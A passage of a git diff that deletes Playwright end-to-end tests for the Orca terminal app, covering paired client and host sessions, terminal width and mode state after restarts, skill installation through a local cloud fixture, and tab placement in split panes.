a pane wider than 240 columns', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.skip(process.platform === 'win32', 'The width probe uses POSIX stty') - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const hostPtyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal(orcaPage, hostPtyId, "printf 'WIDE_PROBE_READY\\n'") - await waitForTerminalOutput(orcaPage, 'WIDE_PROBE_READY') - const client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'Wide terminal proof' - ) - try { - const page = client.page - await page.setViewportSize({ width: 3200, height: 1000 }) - await expect - .poll( - () => - page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === repoPath)?.id, - testRepoPath - ), - { timeout: 60_000 } - ) - .toBeTruthy() - await page.evaluate( - ({ repoPath, environmentId }) => { - const state = window.__store?.getState() - const worktree = state?.allWorktrees().find((entry) => entry.path === repoPath) - if (!state || !worktree) { - throw new Error('Paired worktree unavailable') - } - state.setActiveWorktree(worktree.id, `runtime:${environmentId}`) - }, - { repoPath: testRepoPath, environmentId: client.environmentId } - ) - await ensureTerminalVisible(page, 30_000) - await waitForActiveTerminalManager(page, 30_000) - await waitForTerminalOutput(page, 'WIDE_PROBE_READY', 30_000) - const ptyId = await waitForActivePanePtyId(page, 30_000) - expect(ptyId.startsWith(`remote:${client.environmentId}@@`)).toBe(true) - await expect - .poll( - () => - page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeWorktreeId - ? state.activeTabIdByWorktree[state.activeWorktreeId] - : null - return tabId - ? (window.__paneManagers?.get(tabId)?.getActivePane()?.terminal.cols ?? 0) - : 0 - }), - { timeout: 30_000 } - ) - .toBeGreaterThan(240) - await focusActiveTerminalInput(page) - await page.keyboard.type( - "cols=$(stty size | awk '{print $2}'); printf '\\033[2J\\033[HPTY_WIDTH=%s\\r\\n' \"$cols\"; printf '%*s' \"$((cols - 10))\" '' | tr ' ' '='; printf 'RIGHT_EDGE\\r\\n'" - ) - await page.keyboard.press('Enter') - await waitForTerminalOutput(page, 'RIGHT_EDGE', 30_000) - const readRendered = () => - page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeWorktreeId - ? state.activeTabIdByWorktree[state.activeWorktreeId] - : null - const pane = tabId ? window.__paneManagers?.get(tabId)?.getActivePane() : null - if (!pane) { - throw new Error('Terminal unavailable') - } - const buffer = pane.terminal.buffer.active - return { - cols: pane.terminal.cols, - lines: Array.from( - { length: pane.terminal.rows }, - (_, row) => buffer.getLine(buffer.viewportY + row)?.translateToString(true) ?? '' - ) - } - }) - await expect - .poll( - async () => { - const rendered = await readRendered() - return { - widthMatches: rendered.lines.includes(`PTY_WIDTH=${rendered.cols}`), - rightEdge: rendered.lines.some( - (line) => line.length === rendered.cols && line.endsWith('RIGHT_EDGE') - ) - } - }, - { timeout: 30_000 } - ) - .toEqual({ widthMatches: true, rightEdge: true }) - await page.screenshot({ path: testInfo.outputPath('wide-terminal.png') }) - } finally { - await client.dispose() - } -}) diff --git a/tests/e2e/paired-serve-respawn-process-state.spec.ts b/tests/e2e/paired-serve-respawn-process-state.spec.ts deleted file mode 100644 index 967e8d57d64..00000000000 --- a/tests/e2e/paired-serve-respawn-process-state.spec.ts +++ /dev/null @@ -1,215 +0,0 @@ -// #35559: a serve host restarted without its daemon restores each pane with a new shell; the dead agent's title, status and input modes must not survive. -import type { JSHandle, Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' - -type TerminalListRow = { handle: string; title?: string | null; agentIdentity?: string | null } - -async function readPaneState(page: Page, webTabId: string) { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - return null - } - const state = window.__store?.getState() - return { - ptyId: pane.container.dataset.ptyId ?? null, - mouse: pane.terminal.modes.mouseTrackingMode, - focus: pane.terminal.modes.sendFocusMode, - applicationCursor: pane.terminal.modes.applicationCursorKeysMode, - runtimeTitle: state?.runtimePaneTitlesByTabId?.[id]?.[pane.id] ?? null, - content: pane.serializeAddon?.serialize?.() ?? '' - } - }, webTabId) -} - -// Hold the window where the host still publishes the tab-default title, so the reattach image's title alone must prove the agent. -async function pinStalePublishedTitle(page: Page, webTabId: string): Promise void>> { - return page.evaluateHandle((id) => { - const store = window.__store - const manager = window.__paneManagers?.get(id) - const paneId = (manager?.getActivePane?.() ?? manager?.getPanes?.()[0])?.id - if (!store || paneId === undefined) { - throw new Error(`Pane for ${id} is not mounted`) - } - const before = store.getState() - const pinnedTitle = before.runtimePaneTitlesByTabId[id]?.[paneId] - const pinnedStatus = Array.from(before.agentStatusByPaneKey.entries()).filter(([key]) => - key.startsWith(`${id}:`) - ) - const pin = (): void => { - const state = store.getState() - const statusKeys = Array.from(state.agentStatusByPaneKey.keys()).filter((key) => - key.startsWith(`${id}:`) - ) - if ( - state.runtimePaneTitlesByTabId[id]?.[paneId] === 'Terminal 1' && - statusKeys.length === 0 - ) { - return - } - let agentStatusByPaneKey = state.agentStatusByPaneKey - for (const key of statusKeys) { - agentStatusByPaneKey = agentStatusByPaneKey.replace([[key, null]]) - } - store.setState({ - agentStatusByPaneKey, - runtimePaneTitlesByTabId: { - ...state.runtimePaneTitlesByTabId, - [id]: { ...state.runtimePaneTitlesByTabId[id], [paneId]: 'Terminal 1' } - } - }) - } - pin() - const unsubscribe = store.subscribe(pin) - // Hand back what the client held, so later steps still start from the live agent's title. - return () => { - unsubscribe() - const state = store.getState() - store.setState({ - agentStatusByPaneKey: state.agentStatusByPaneKey.replace(pinnedStatus), - runtimePaneTitlesByTabId: { - ...state.runtimePaneTitlesByTabId, - [id]: { ...state.runtimePaneTitlesByTabId[id], [paneId]: pinnedTitle ?? '' } - } - }) - } - }, webTabId) -} - -test('a serve restart that respawns the shell drops the dead agent title, status and modes', async ({ - testRepoPath -}, testInfo) => { - test.skip(process.platform === 'win32', 'Uses a POSIX printf to arm terminal modes') - // Two serve relaunches plus a paired client launch outlast the default budget. - test.setTimeout(420_000) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'folder' - }) - let worktreeId = '' - await expect - .poll(async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }) - .not.toBe('') - client = await launchPairedElectronClient(host.offer, testInfo, 'serve-respawn-state') - const page = client.page - await expect - .poll( - () => - page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - - const created = await host.client.call<{ terminal: { handle: string; tabId: string } }>( - 'terminal.create', - { worktree: `id:${worktreeId}`, focus: false, activate: false, presentation: 'background' } - ) - const webTabId = toWebTerminalSurfaceTabId(created.result.terminal.tabId) - await page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - const tab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 60_000 }) - await tab.click() - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), { - timeout: 60_000 - }) - .toBe(true) - - // Stand-in for Claude: a recognised agent title plus mouse, focus, paste and cursor-key modes, kept alive past the restart. - await host.client.call('terminal.send', { - terminal: created.result.terminal.handle, - text: `printf '\\033]0;\\342\\234\\263 Claude Code\\007\\033[?1003h\\033[?1006h\\033[?1004h\\033[?2004h\\033[?1h'; sleep 600`, - enter: true - }) - await expect - .poll(() => readPaneState(page, webTabId), { timeout: 30_000 }) - .toMatchObject({ mouse: 'any', focus: true, applicationCursor: true }) - expect((await readPaneState(page, webTabId))?.runtimeTitle).toContain('Claude Code') - - // A serve restart that keeps the daemon reattaches the same live agent, so its modes must survive. - const titlePin = await pinStalePublishedTitle(page, webTabId) - await host.restartServeProcess() - await expect - .poll( - async () => { - const listed = await host.client - .call<{ terminals: TerminalListRow[] }>('terminal.list', { - worktree: `id:${worktreeId}` - }) - .catch(() => null) - const handle = listed?.result.terminals[0]?.handle - if (!handle) { - return false - } - await host.client.call('terminal.send', { terminal: handle, text: 'LIVE_PROBE' }) - return (await readPaneState(page, webTabId))?.content.includes('LIVE_PROBE') ?? false - }, - { timeout: 120_000, message: 'The paired pane never reattached after the serve restart' } - ) - .toBe(true) - expect(await readPaneState(page, webTabId)).toMatchObject({ - mouse: 'any', - focus: true, - applicationCursor: true - }) - await titlePin.evaluate((release) => release()) - await titlePin.dispose() - expect((await readPaneState(page, webTabId))?.runtimeTitle).toContain('Claude Code') - const before = await readPaneState(page, webTabId) - - // The host machine restarted: serve and its daemon both lose every process. - await host.restartServeProcess({ betweenProcesses: () => cleanupE2EDaemons(host.userDataDir) }) - - await expect - .poll(async () => (await readPaneState(page, webTabId))?.ptyId !== before?.ptyId, { - timeout: 120_000 - }) - .toBe(true) - // Bracketed paste is left out: a modern shell re-arms it at its first prompt. - await expect - .poll(() => readPaneState(page, webTabId), { timeout: 30_000 }) - .toMatchObject({ mouse: 'none', focus: false, applicationCursor: false }) - expect((await readPaneState(page, webTabId))?.runtimeTitle ?? '').not.toContain('Claude Code') - const listedAfter = await host.client.call<{ terminals: TerminalListRow[] }>('terminal.list', { - worktree: `id:${worktreeId}` - }) - expect(listedAfter.result.terminals.map((row) => row.agentIdentity ?? null)).toEqual([null]) - expect(listedAfter.result.terminals.map((row) => row.title ?? '')).not.toContainEqual( - expect.stringContaining('Claude Code') - ) - } finally { - await client?.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-skill-installation.spec.ts b/tests/e2e/paired-skill-installation.spec.ts deleted file mode 100644 index cc14acefa8b..00000000000 --- a/tests/e2e/paired-skill-installation.spec.ts +++ /dev/null @@ -1,277 +0,0 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { SkillInstallDestination } from '../../src/shared/skills/installation/skill-install-contract' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { - REMOTE_SKILL_NAME, - REMOTE_SKILL_PACKAGE_ID, - REMOTE_SKILL_VERSION_ID, - startRemoteSkillCloudFixture, - stopRemoteSkillCloudFixture, - type RemoteSkillCloudFixture -} from './helpers/remote-skill-cloud-fixture' - -let cloud: RemoteSkillCloudFixture | null = null - -test.beforeAll(async () => { - cloud = await startRemoteSkillCloudFixture() -}) - -test.afterAll(async () => { - if (cloud) { - await stopRemoteSkillCloudFixture(cloud) - cloud = null - } -}) - -test('installs on a headed desktop runtime without a local fallback', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const fixture = requireCloudFixture() - const requestStart = fixture.requests.length - const folderRoot = mkdtempSync(join(tmpdir(), 'orca-paired-skill-folder-')) - let client: PairedElectronClient | null = null - try { - const hostHome = await electronApp.evaluate(({ app }) => app.getPath('home')) - const worktreeId = await activeWorktreeId(orcaPage) - const folderWorkspaceId = await createHostFolderWorkspace(orcaPage, folderRoot) - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'Skill installation client', - { extraEnv: cloudClientEnvironment() } - ) - await connectCloud(client.page) - const clientHome = await client.app.evaluate(({ app }) => app.getPath('home')) - - await installPreviewRemove(client.page, client.environmentId, { scope: 'global' }, hostHome) - await installPreviewRemove( - client.page, - client.environmentId, - { scope: 'workspace', worktreeId }, - testRepoPath - ) - await installPreviewRemove( - client.page, - client.environmentId, - { scope: 'workspace', folderWorkspaceId }, - folderRoot - ) - - expect(existsSync(skillPath(clientHome))).toBe(false) - await expectManagedInstalls(client.page, client.environmentId, []) - expectCloudRequests(fixture, requestStart, 3) - } finally { - await client?.dispose() - rmSync(skillPath(testRepoPath), { recursive: true, force: true }) - rmSync(folderRoot, { recursive: true, force: true }) - } -}) - -test('installs on a headless serve runtime through the same contract', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const fixture = requireCloudFixture() - const requestStart = fixture.requests.length - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient(host.offer, testInfo, 'Headless skill client', { - extraEnv: cloudClientEnvironment() - }) - await connectCloud(client.page) - const hostHome = await host.app.evaluate(({ app }) => app.getPath('home')) - const clientHome = await client.app.evaluate(({ app }) => app.getPath('home')) - const worktreeId = await addHeadlessHostWorktree(host, testRepoPath) - - await installPreviewRemove(client.page, client.environmentId, { scope: 'global' }, hostHome) - await installPreviewRemove( - client.page, - client.environmentId, - { scope: 'workspace', worktreeId }, - testRepoPath - ) - - expect(existsSync(skillPath(clientHome))).toBe(false) - await expectManagedInstalls(client.page, client.environmentId, []) - expectCloudRequests(fixture, requestStart, 2) - } finally { - await client?.dispose() - await host.dispose() - rmSync(skillPath(testRepoPath), { recursive: true, force: true }) - } -}) - -function cloudClientEnvironment(): Record { - const { origin } = requireCloudFixture() - return { - ORCA_ARTIFACTS_API_URL: origin, - ORCA_CLOUD_API_URL: origin, - ORCA_CLOUD_CLIENT_ID: 'skills-e2e-client', - ORCA_CLOUD_DEV_AUTH: '1', - ORCA_CLOUD_ALLOW_PLAINTEXT_SESSION: '1', - ORCA_SKILL_PACKAGE_DOWNLOAD_ORIGINS: origin - } -} - -async function connectCloud(page: Page): Promise { - const auth = await page.evaluate(() => window.api.orcaProfiles.connectCurrent()) - expect(auth.status).toBe('connected') -} - -function requireCloudFixture(): RemoteSkillCloudFixture { - if (!cloud) { - throw new Error('skill Cloud fixture unavailable') - } - return cloud -} - -function skillPath(root: string): string { - return join(root, '.agents', 'skills', REMOTE_SKILL_NAME) -} - -async function activeWorktreeId(page: Page): Promise { - const worktreeId = await page.evaluate(() => window.__store?.getState().activeWorktreeId ?? null) - if (!worktreeId) { - throw new Error('headed host worktree unavailable') - } - return worktreeId -} - -async function createHostFolderWorkspace(page: Page, folderPath: string): Promise { - return page.evaluate(async (path) => { - const group = await window.api.projectGroups.create({ - name: 'Paired skill folder E2E', - parentPath: path - }) - const workspace = await window.api.folderWorkspaces.create({ - projectGroupId: group.id, - name: 'Paired skill folder E2E', - folderPath: path - }) - return workspace.folderWorkspace.id - }, folderPath) -} - -async function addHeadlessHostWorktree( - host: HeadlessPairedRuntimeHost, - repoPath: string -): Promise { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: repoPath, - kind: 'git' - }) - let worktreeId = '' - await expect - .poll(async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }) - .not.toBe('') - return worktreeId -} - -async function installPreviewRemove( - page: Page, - environmentId: string, - destination: SkillInstallDestination, - root: string -): Promise { - const operation = await page.evaluate( - ({ destination, environmentId, packageId, versionId }) => - window.api.skills.installPackageVersion({ - packageId, - versionId, - environmentId, - destination - }), - { - destination, - environmentId, - packageId: REMOTE_SKILL_PACKAGE_ID, - versionId: REMOTE_SKILL_VERSION_ID - } - ) - expect(operation, JSON.stringify(operation, null, 2)).toMatchObject({ - status: 'ok', - value: { status: 'installed', name: REMOTE_SKILL_NAME } - }) - expect(readFileSync(join(skillPath(root), 'SKILL.md'), 'utf8')).toContain('# Remote E2E') - - const fixture = requireCloudFixture() - const preview = await page.evaluate( - ({ destination, environmentId, name, packageIdentity }) => - window.api.skills.previewInstall({ - environmentId, - package: packageIdentity, - name, - destination - }), - { - destination, - environmentId, - name: REMOTE_SKILL_NAME, - packageIdentity: { - packageId: fixture.archive.manifest.packageId, - versionId: fixture.archive.manifest.versionId, - packageDigest: fixture.archive.manifest.packageDigest, - archiveSha256: fixture.archive.archiveSha256, - compressedBytes: fixture.bytes.length - } - } - ) - expect(preview).toMatchObject({ status: 'ok', value: { currentState: 'unchanged' } }) - - const removed = await page.evaluate( - ({ destination, environmentId, name }) => - window.api.skills.removeInstall({ environmentId, name, destination }), - { destination, environmentId, name: REMOTE_SKILL_NAME } - ) - expect(removed).toMatchObject({ status: 'ok', value: { status: 'removed' } }) - expect(existsSync(skillPath(root))).toBe(false) -} - -async function expectManagedInstalls( - page: Page, - environmentId: string, - expected: unknown[] -): Promise { - const installs = await page.evaluate( - (id) => window.api.skills.listManagedInstalls(id), - environmentId - ) - expect(installs).toMatchObject({ status: 'ok', value: expected }) -} - -function expectCloudRequests( - fixture: RemoteSkillCloudFixture, - start: number, - expectedInstalls: number -): void { - const requests = fixture.requests.slice(start) - expect(requests.filter((request) => request.method === 'POST')).toHaveLength(expectedInstalls) - expect(requests.filter((request) => request.path === '/package.tar.gz')).toHaveLength( - expectedInstalls - ) - expect( - requests.filter((request) => request.method === 'POST').map((request) => request.body) - ).toEqual(Array.from({ length: expectedInstalls }, () => ({ installTarget: 'remote' }))) -} diff --git a/tests/e2e/paired-split-pane-browser-placement.spec.ts b/tests/e2e/paired-split-pane-browser-placement.spec.ts deleted file mode 100644 index 7e798bb875d..00000000000 --- a/tests/e2e/paired-split-pane-browser-placement.spec.ts +++ /dev/null @@ -1,258 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { readHostBrowserPageIds } from './helpers/host-session-tabs' -import { - contentTypesOf, - openRemoteBrowserTab, - pushHostSnapshot, - readPanes, - requireGroup, - setUpPairedFixture, - waitForGroupTabCount -} from './helpers/paired-browser-placement-fixture' - -test('appends a paired browser tab last in its pane and keeps it there across host snapshots', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const before = await readPanes(client.page, worktreeId) - const terminalOrder = requireGroup(before, rootGroupId).tabOrder - expect(contentTypesOf(before, rootGroupId).every((kind) => kind === 'terminal')).toBe(true) - - await openRemoteBrowserTab(client.page, fixture.url, rootGroupId) - const after = await waitForGroupTabCount( - client.page, - worktreeId, - rootGroupId, - terminalOrder.length + 1, - 'paired client never materialized the remote browser tab in the root group' - ) - const placed = requireGroup(after, rootGroupId).tabOrder - expect(placed.slice(0, terminalOrder.length)).toEqual(terminalOrder) - expect(contentTypesOf(after, rootGroupId).at(-1)).toBe('browser') - - // Why: the shipped bug only appeared once ambient host snapshots re-reconciled the group. - for (const title of ['Placement Alpha rev1', 'Placement Alpha rev2']) { - await pushHostSnapshot(fixture, fixture.terminalHandles[0], title) - const settled = await readPanes(client.page, worktreeId) - expect(requireGroup(settled, rootGroupId).tabOrder).toEqual(placed) - expect(contentTypesOf(settled, rootGroupId).at(-1)).toBe('browser') - } - } finally { - await fixture.dispose() - } -}) - -test('creates paired split-pane tabs in the focused pane without disturbing the other pane', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const leftBefore = requireGroup(await readPanes(client.page, worktreeId), rootGroupId) - - const rightGroupId = await client.page.evaluate( - ({ sourceGroupId, worktreeId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - const groupId = state.createEmptySplitGroup(worktreeId, sourceGroupId, 'right') - if (!groupId) { - throw new Error('Right split group unavailable') - } - state.focusGroup(worktreeId, groupId) - return groupId - }, - { sourceGroupId: rootGroupId, worktreeId } - ) - - // Scenario B: a browser created from the right pane must land there and leave the left alone. - await openRemoteBrowserTab(client.page, fixture.url, rightGroupId) - const withBrowser = await waitForGroupTabCount( - client.page, - worktreeId, - rightGroupId, - 1, - 'paired client never materialized the remote browser tab in the right pane' - ) - const browserTabId = requireGroup(withBrowser, rightGroupId).tabOrder[0] - expect(withBrowser.tabs.find((tab) => tab.id === browserTabId)?.contentType).toBe('browser') - expect(withBrowser.tabs.find((tab) => tab.id === browserTabId)?.groupId).toBe(rightGroupId) - expect(requireGroup(withBrowser, rootGroupId).tabOrder).toEqual(leftBefore.tabOrder) - expect(requireGroup(withBrowser, rootGroupId).activeTabId).toBe(leftBefore.activeTabId) - expect(withBrowser.activeGroupId).toBe(rightGroupId) - - // Scenario D: ambient host snapshots must not steal focus back from the left pane. - const leftTerminalId = leftBefore.tabOrder[0] - await client.page.evaluate( - ({ groupId, tabId, worktreeId }) => { - const state = window.__store?.getState() - state?.focusGroup(worktreeId, groupId) - state?.activateTab(tabId, { worktreeId }) - }, - { groupId: rootGroupId, tabId: leftTerminalId, worktreeId } - ) - await expect - .poll(async () => (await readPanes(client.page, worktreeId)).activeGroupId, { - timeout: 30_000, - message: 'left pane never took focus' - }) - .toBe(rootGroupId) - const focused = await readPanes(client.page, worktreeId) - expect(requireGroup(focused, rootGroupId).activeTabId).toBe(leftTerminalId) - - await pushHostSnapshot(fixture, fixture.terminalHandles[1], 'Placement Beta rev1') - await pushHostSnapshot(fixture, fixture.terminalHandles[1], 'Placement Beta rev2') - const settled = await readPanes(client.page, worktreeId) - expect(settled.activeGroupId).toBe(rootGroupId) - expect(requireGroup(settled, rootGroupId).activeTabId).toBe(leftTerminalId) - expect(requireGroup(settled, rootGroupId).tabOrder).toEqual(leftBefore.tabOrder) - expect(requireGroup(settled, rightGroupId).activeTabId).toBe(browserTabId) - expect(requireGroup(settled, rightGroupId).tabOrder).toEqual([browserTabId]) - } finally { - await fixture.dispose() - } -}) - -// Remote close skips local closeUnifiedTab collapse; only snapshot reconciliation can remove the empty split. -test('collapses the split pane when its last paired browser tab is closed from the tab strip', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const rightGroupId = await client.page.evaluate( - ({ sourceGroupId, worktreeId }) => { - const state = window.__store?.getState() - const groupId = state?.createEmptySplitGroup(worktreeId, sourceGroupId, 'right') - if (!groupId) { - throw new Error('Right split group unavailable') - } - state?.focusGroup(worktreeId, groupId) - return groupId - }, - { sourceGroupId: rootGroupId, worktreeId } - ) - await openRemoteBrowserTab(client.page, fixture.url, rightGroupId) - const split = await waitForGroupTabCount( - client.page, - worktreeId, - rightGroupId, - 1, - 'paired client never materialized the remote browser tab in the right pane' - ) - expect(split.layoutGroupIds).toEqual([rootGroupId, rightGroupId]) - const browserTab = split.tabs.find( - (tab) => tab.id === requireGroup(split, rightGroupId).tabOrder[0] - ) - expect(browserTab?.contentType).toBe('browser') - - // Require real host ownership before close; a local-only close would collapse independently and miss this seam. - const hostPagesBefore = await readHostBrowserPageIds(fixture.host.client, testRepoPath) - expect(hostPagesBefore).toHaveLength(1) - - await client.page - .locator( - `[data-tab-group-strip-id="${rightGroupId}"] [data-tab-id="${browserTab?.entityId}"] button` - ) - .click() - - try { - await expect - .poll( - async () => { - const panes = await readPanes(client.page, worktreeId) - return { - browserTabs: panes.tabs.filter((tab) => tab.contentType === 'browser').length, - groupIds: panes.groups.map((group) => group.id), - layoutGroupIds: panes.layoutGroupIds - } - }, - { - timeout: 90_000, - message: 'emptied right pane never collapsed after the tab-strip close' - } - ) - .toEqual({ browserTabs: 0, groupIds: [rootGroupId], layoutGroupIds: [rootGroupId] }) - } catch (error) { - throw new Error( - `right pane never collapsed; panes=${JSON.stringify(await readPanes(client.page, worktreeId))}`, - { cause: error } - ) - } - const collapsed = await readPanes(client.page, worktreeId) - expect(collapsed.activeGroupId).toBe(rootGroupId) - // Require host inventory removal too; client pane collapse alone can hide failed remote teardown. - await expect - .poll(() => readHostBrowserPageIds(fixture.host.client, testRepoPath), { - timeout: 30_000, - message: 'host kept the browser page after the tab-strip close' - }) - .toEqual([]) - } finally { - await fixture.dispose() - } -}) - -// Respect client targetGroupId placement because host cannot know desktop-minted split groups. -test('places a paired split-pane terminal in the pane that asked for it', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const rightGroupId = await client.page.evaluate( - ({ sourceGroupId, worktreeId }) => { - const state = window.__store?.getState() - const groupId = state?.createEmptySplitGroup(worktreeId, sourceGroupId, 'right') - if (!groupId) { - throw new Error('Right split group unavailable') - } - state?.focusGroup(worktreeId, groupId) - return groupId - }, - { sourceGroupId: rootGroupId, worktreeId } - ) - await openRemoteBrowserTab(client.page, fixture.url, rightGroupId) - await waitForGroupTabCount( - client.page, - worktreeId, - rightGroupId, - 1, - 'paired client never materialized the remote browser tab in the right pane' - ) - - const terminalsBefore = new Set( - (await readPanes(client.page, worktreeId)).tabs - .filter((tab) => tab.contentType === 'terminal') - .map((tab) => tab.id) - ) - // Why: this is what the tab strip's "+" → Terminal item calls for that panel's group. - await client.page.evaluate(async (groupId) => { - await window.__store?.getState().openNewTerminalTabInActiveWorkspace(groupId) - }, rightGroupId) - const findCreatedTerminal = async () => - (await readPanes(client.page, worktreeId)).tabs.find( - (tab) => tab.contentType === 'terminal' && !terminalsBefore.has(tab.id) - ) ?? null - await expect - .poll(findCreatedTerminal, { - timeout: 90_000, - message: 'paired client never materialized the new terminal' - }) - .not.toBeNull() - - const panes = await readPanes(client.page, worktreeId) - expect((await findCreatedTerminal())?.groupId).toBe(rightGroupId) - expect(contentTypesOf(panes, rightGroupId)).toEqual(['browser', 'terminal']) - expect(panes.activeGroupId).toBe(rightGroupId) - } finally { - await fixture.dispose() - } -}) diff --git a/tests/e2e/paired-terminal-after-anchor-placement.spec.ts b/tests/e2e/paired-terminal-after-anchor-placement.spec.ts deleted file mode 100644 index f4c855f65c6..00000000000 --- a/tests/e2e/paired-terminal-after-anchor-placement.spec.ts +++ /dev/null @@ -1,153 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - toHostSessionTabId, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' - -async function createTerminal(page: Page, worktreeId: string, afterTabId?: string) { - const tabs = page.locator('[data-testid="sortable-tab"]') - const before = await tabs.evaluateAll((tabs) => - tabs.map((tab) => tab.getAttribute('data-tab-id')) - ) - const outcome = await page.evaluate( - async ({ worktreeId, afterTabId }) => { - const environment = (await window.api.runtimeEnvironments.list())[0] - const bridge: unknown = - '__webRuntimeSessionE2E' in window ? window.__webRuntimeSessionE2E : undefined - if ( - !environment || - !bridge || - typeof bridge !== 'object' || - !('createTerminal' in bridge) || - typeof bridge.createTerminal !== 'function' - ) { - throw new Error('Paired terminal creation is unavailable') - } - return bridge.createTerminal({ - worktreeId, - environmentId: environment.id, - activate: false, - ...(afterTabId ? { afterTabId } : {}) - }) - }, - { worktreeId, afterTabId } - ) - expect(outcome).toEqual({ status: 'created' }) - let created: string[] = [] - await expect - .poll(async () => { - const ids = await tabs.evaluateAll((tabs) => - tabs.map((tab) => tab.getAttribute('data-tab-id')) - ) - created = ids.filter((id): id is string => id !== null && !before.includes(id)) - return created.length - }) - .toBe(1) - const parentTabId = toHostSessionTabId(created[0]) - const surfaceId = await page.evaluate( - async ({ worktreeId, parentTabId }) => { - const response = await window.api.runtime.call({ - method: 'session.tabs.list', - params: { worktree: `id:${worktreeId}` } - }) - if (!response.ok) { - throw new Error(response.error.message) - } - const result = response.result - if ( - !result || - typeof result !== 'object' || - !('tabs' in result) || - !Array.isArray(result.tabs) - ) { - throw new Error('Terminal inventory is missing') - } - const surface: unknown = result.tabs.find((tab) => tab.parentTabId === parentTabId) - if ( - !surface || - typeof surface !== 'object' || - !('id' in surface) || - typeof surface.id !== 'string' - ) { - throw new Error('Created terminal surface is missing') - } - return surface.id - }, - { worktreeId, parentTabId } - ) - return { id: toWebTerminalSurfaceTabId(surfaceId), parentTabId } -} - -async function tabWindow(page: Page, anchor: string) { - return page.locator('[data-testid="sortable-tab"]').evaluateAll((tabs, anchor) => { - const ids = tabs.map((tab) => tab.getAttribute('data-tab-id')) - const index = ids.indexOf(anchor) - return index === -1 ? [] : ids.slice(index, index + 3) - }, anchor) -} - -test('paired web creation places a terminal after its anchor on both host and client', async ({ - electronApp, - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer) - try { - const worktreeId = await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId) - if (!worktreeId) { - throw new Error('Paired worktree is missing') - } - await client.page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - await expect( - client.page.locator('[data-testid="sortable-tab"][data-active="true"]') - ).toBeVisible() - const first = await createTerminal(client.page, worktreeId) - const second = await 